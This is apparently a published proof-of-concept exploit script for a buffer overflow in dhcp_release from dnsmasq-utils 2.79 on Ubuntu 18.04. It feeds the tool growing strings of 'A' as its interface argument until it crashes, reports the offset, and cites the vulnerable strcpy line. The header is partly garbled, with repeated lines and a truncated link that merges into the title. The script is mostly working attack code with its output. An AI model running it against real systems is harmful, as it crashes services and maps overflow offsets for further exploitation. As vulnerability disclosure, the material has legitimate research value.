# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+ # Exploit Title: dnsmasq-utils 2.79-1 - 'dhcp_release' Denial of Service (PoC)
# Date: 2020-04-06
# Exploit Author: Josue Encinar
# Software Link: https://launchpad.net/ubuntu/+source/dnsmasq/2.79-1
# Version: 2.79
# Tested on: Ubuntu 18.04
from subprocess import Popen, PIPE
data = ""
bof = False
for i in range (1, 200):
A = "A"*i
data = f"dhcp_release {A} 1 1"
try:
result = Popen(data, stdout=PIPE, stderr=PIPE, shell=True)
error = result.stderr.read().decode()
if "Aborted (core dumped)" in error:
print("[+] Buffer Overflow detected!")
print(f"[*] Offset: {i}")
bof = True
break
except Exception as e:
print(f"[-] {e}")
if not bof:
print("[-] No buffer overflow...")
## Check line 273 in dhcp_release.c
### strcpy(ifr.ifr_name, argv[1]);
#
## PoC:
# josue@ubuntu:~/Escritorio/bof_dhcp$ python3 dhcp_release_bof.py
# *** buffer overflow detected ***: dhcp_release terminated
# [+] Buffer Overflow detected!
# [*] Offset: 16